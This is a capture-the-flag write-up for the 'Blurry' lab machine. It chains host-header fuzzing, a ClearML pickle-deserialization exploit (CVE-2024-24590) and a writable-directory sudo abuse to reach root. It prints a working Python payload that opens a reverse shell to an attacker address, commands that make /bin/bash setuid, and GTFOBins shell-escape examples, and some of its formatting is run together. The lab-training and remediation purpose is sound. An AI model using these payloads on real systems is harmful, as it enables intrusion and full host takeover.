jperezduerto.info
Blurry
Summary
Recon of blurry ($TARGET) found only SSH and a bare nginx redirect on port 80. Host-header fuzzing uncovered four hidden virtual hosts, one of which served a ClearML machine-learning platform (v1.13.1) with open self-registration.
Because ClearML 1.13.1 is vulnerable to CVE-2024-24590 — unsafe pickle deserialization in Artifact.get() — a self-registered account was used to upload a malicious pickled artifact into a project whose scheduled task automatically calls get() on tagged artifacts, giving code execution as the service account jippity and the user flag. On the host, an overly broad NOPASSWD sudo rule for a root-run model-evaluation wrapper trusted files under /models for both model weights and Python module imports; planting a malicious torch.py in that directory let the next sudo invocation import my code as root, which set the SUID bit on /bin/bash and produced full root access and the root flag.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 4
nmap -sV -p- $TARGETcurl -sSI http://$TARGET/printf "$TARGET blurry.htb app.blurry.htb api.blurry.htb files.blurry.htb chat.blurry.htb\n" | sudo tee -a /etc/hostsffuf -H 'Host: FUZZ.blurry.htb' -u http://$TARGET -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 169Exact commands 2
curl -sS http://app.blurry.htb/version.jsoncurl -sS http://api.blurry.htb/debug.pingExact commands 2
Browse to http://app.blurry.htb, click "Create new account", and register any username/password.clearml-initFixDisable open self-registration on the ClearML serverMedium
Exact commands 5
pip install clearml==1.13.1nc -lvnp 4444cat > exploit.py <<'EOF'
import os
from clearml import Task
class RunCommand:
def __reduce__(self):
return (os.system, ('bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"',))
task = Task.init(project_name='Black Swan', task_name='pwn', tags=['review'], output_uri=True)
task.upload_artifact(name='pwn', artifact_object=RunCommand(), retries=2, wait_on_upload=True, extension_name='.pkl')
EOFpython3 exploit.pycat /home/jippity/user.txtFixUpgrade ClearML server and pin clients to a patched releaseCritical
Exact commands 3
sudo -n -lsudo -lfind / -perm -4000 -type f 2>/dev/nullimport torch, running arbitrary my code as root before the script's own (and separately broken) malicious-pickle check ever executes. This was used to set the setuid bit on /bin/bash, yielding a root shell and the root flag.Exact commands 5
echo 'import os; os.system("chmod +s /bin/bash")' > /models/torch.pysudo /usr/bin/evaluate_model /models/demo_model.pth/bin/bash -p/bin/bash -p -c '/usr/bin/id'cat /root/root.txtFixRestrict and harden the evaluate_model sudo ruleCritical
Attack patterns used
The transferable techniques behind this compromise.
Insecure DeserializationWeb · Service RCET1190
What it is
Applications that deserialize externally controlled data (Java, .NET, PHP, Python pickle) can be driven to instantiate 'gadget chains' — sequences of existing classes whose side effects during deserialization culminate in code execution. ysoserial/ysoserial.net generate the payloads; ViewState and Java RMI/JMX are common entry points.
Why it works
Deserializers reconstruct arbitrary object graphs and invoke magic methods on untrusted input. Remediate by avoiding native deserialization of untrusted data, using signed/encrypted state, and enforcing strict type allow-lists.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http nginx 1.18.0 |